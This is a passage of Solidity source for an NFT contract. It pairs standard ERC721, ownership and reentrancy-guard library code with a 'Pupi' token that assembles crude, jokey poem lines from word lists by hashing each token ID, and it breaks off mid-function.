https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } interface HolderInterface { function ownerOf(uint256 tokenId) external view returns (address owner); } contract Pupi is ERC721Enumerable, ReentrancyGuard, Ownable { string[] private randomLines = [ "rain falls hard", "men are pigs", "green like papa's fedora", "red like tulips", "purple like mother's blouse", "orange like an orange", "hear thine calling", "the body of man", "who for but to wit", "after a new moon", "who among us", "softly but for wherefor what", "make me", "on a lost highway", "made to be broken", "it was dark", "my knees shook", "my boots quaked", "teach me o womanly spirit ", "big girls don't cry", "are we dancer?", "and atlas wept", "thine kingdom cum", "viva la vida", "squirrels just want to have fun", "i pity the fool", "now that's what i call butter", "making my way downtown" ]; string[] private followedByAnother = [ // or followed by a noun "like i always say", "my father said to me", "my mother said to me", "do you remember", "i often remember" ]; string[] private followedByNoun = [ "filled with", "i yearn for", "i lust after", "i feel like", "i taste of", "i smell of", "show me how to", "smells like", "blue is the color of", "is that just", "i met a boy named", "i met a girl named", "my mother's name was", "my father's name was", "feels like" ]; string[] private randomNouns = [ "my fragile appendage", "my glistening ovaries", "my shimmering organ", "my pulsing womb", "my orgasmic harp", "the well of my body", "my quivering spear", "my girlish grapevine", "tulips in the rain", "cannibals", "jade egg", "glass houses", "sisyphus", "prostate", "baguette", "urine", "blood", "smegma", "sombrero", "play misty for me", "disk jockey", "obama", "gustavo", "portuguese men", "shredded wheat", "porcelain", "sprained ankle", "matisiyahu", "grandfather", "grandmother", "father", "mother", "uncle", "aunt", "shark week", "my lovely lady hump", "placenta", "bush", "sausage machine", "pasta maker", "pesto", "broken headlights", "poo sandwich", "dump truck", "pilgrim's lament", "smokey and the bandit", "foreskin", "foreskin troubles", "amadeus", "emptiness", "fullness", "horniness", "californication", "ice cube orgasm", "my first love", "pants tent", "my mother's boyfriend", "(borat voice) my wife", "my womb", "gabagool", "italian people", "pina coladas", "diabetes", "scrotum pole", "tampon", "helen keller super soldier", "eggnog", "oedipus", "night meat", "senior mint", "pastafazooli", "the twenty-first night of september", "diaper", "fartbox", "dale chihuli", "lewis and clark's dog seaman", "diddler on the roof", "hobo shack", "nipples", // the following are nft nouns "my wife's boyfriend", "vitalik", "bored ape", "punk", "penguin", "cool cat", "wgmi", "ngmi", "wagmi", "afaik" ]; uint256 public price_reg = 20000000000000000; // .02 eth address public holdersAddress = 0xA28aA564C639C8Ed6ceCFad258223dBF0071Dd07; HolderInterface public holderContract = HolderInterface(holdersAddress); function random(string memory input) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input))); } function getRandomLine(uint256 tokenId, uint256 offset) public view returns (string memory) { return pluck(tokenId, "RANDOM", randomLines, offset); } function getFollowedByAnother(uint256 tokenId, uint256 offset) public view returns (string memory) { return pluck(tokenId, "FANOTHER", followedByAnother, offset); } function getFollowedByNoun(uint256 tokenId, uint256 offset) public view returns (string memory) { return pluck(tokenId, "FNOUN", followedByNoun, offset); } function getRandomNoun(uint256 tokenId, uint256 offset) public view returns (string memory) { return pluck(tokenId, "RNOUN", randomNouns, offset); } function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray, uint256 offset) internal pure returns (string memory) { uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId), toString(offset)))); string memory output = sourceArray[rand % sourceArray.length]; output = string(abi.encodePacked(output)); return output; } function decideSize(uint256 tokenId) private pure returns (uint) { uint256 rand = random(string(abi.encodePacked("SIZE", toString(tokenId)))); uint size = rand % 4; return size; } function getOption(uint256 tokenId, uint size, uint item) public pure returns (uint) { uint256 rand = random(string(abi.encodePacked("SIZE", toString(tokenId), item))); return rand % size; } function followedByChecker(string memory prev, string[] memory all, string[] memory fNoun, string[] memory fAll, uint256 tokenId, uint item, bool lastItem) public pure returns (string memory) { if (lastItem == true) { return fAll[getOption(tokenId, fAll.length, item)]; } if (keccak256(abi.encodePacked(prev)) == keccak256(abi.encodePacked("followedByAnother"))) { return fAll[getOption(tokenId, fAll.length, item)]; } else if (keccak256(abi.encodePacked(prev)) == keccak256(abi.encodePacked("followedByNoun"))) { return fNoun[getOption(tokenId, fNoun.length, item)]; } else { return all[getOption(tokenId, all.length, item)]; } } function generateCalls(uint256 tokenId, uint size) public pure returns (string[] memory calls) { string[] memory allOptions = new string[](4); allOptions[0] = "randomLines"; allOptions[1] = "followedByAnother"; allOptions[2] = "followedByNoun"; allOptions[3] = "randomNouns"; string[] memory nounOptions = new string[](1); nounOptions[0] = "randomNouns"; string[] memory followedByOptions = new string[](2); followedByOptions[0] = "randomLines"; followedByOptions[1] = "randomNouns"; if (size == 2) { calls = new string[](2); string memory init = allOptions[getOption(tokenId, allOptions.length, 1)]; calls[0] = init; calls[1] = followedByChecker(init, allOptions, nounOptions, followedByOptions, tokenId, 2, true); return calls; } if (size == 3) { calls = new string[](3); string memory init = allOptions[getOption(tokenId, allOptions.length, 1)]; calls[0] = init; string memory second = followedByChecker(init, allOptions, nounOptions, followedByOptions, tokenId, 2, false); calls[1] = second; calls[2] = followedByChecker(second, allOptions, nounOptions, followedByOptions, tokenId, 3, true); return calls; } if (size == 4) { calls = new string[](4); string memory init = allOptions[getOption(tokenId, allOptions.length, 1)]; calls[0] = init; string memory second = followedByChecker(init, allOptions, nounOptions, followedByOptions, tokenId, 2, false); calls[1] = second; string memory third = followedByChecker(second, allOptions, nounOptions, followedByOptions, tokenId, 3, false); calls[2] = third; calls[3] = followedByChecker(third, allOptions, nounOptions, followedByOptions, tokenId, 4, true); return calls; } if (size == 5) { calls = new string[](5); string memory init = allOptions[getOption(tokenId, allOptions.length, 1)]; calls[0] = init; string memory second = followedByChecker(init, allOptions, nounOptions, followedByOptions, tokenId, 2, false); calls[1] = second; string memory third = followedByChecker(second, allOptions, nounOptions, followedByOptions, tokenId, 3, false); calls[2] = third; string memory fourth = followedByChecker(third, allOptions, nounOptions, followedByOptions, tokenId, 4, false); calls[3] = fourth; calls[4] = 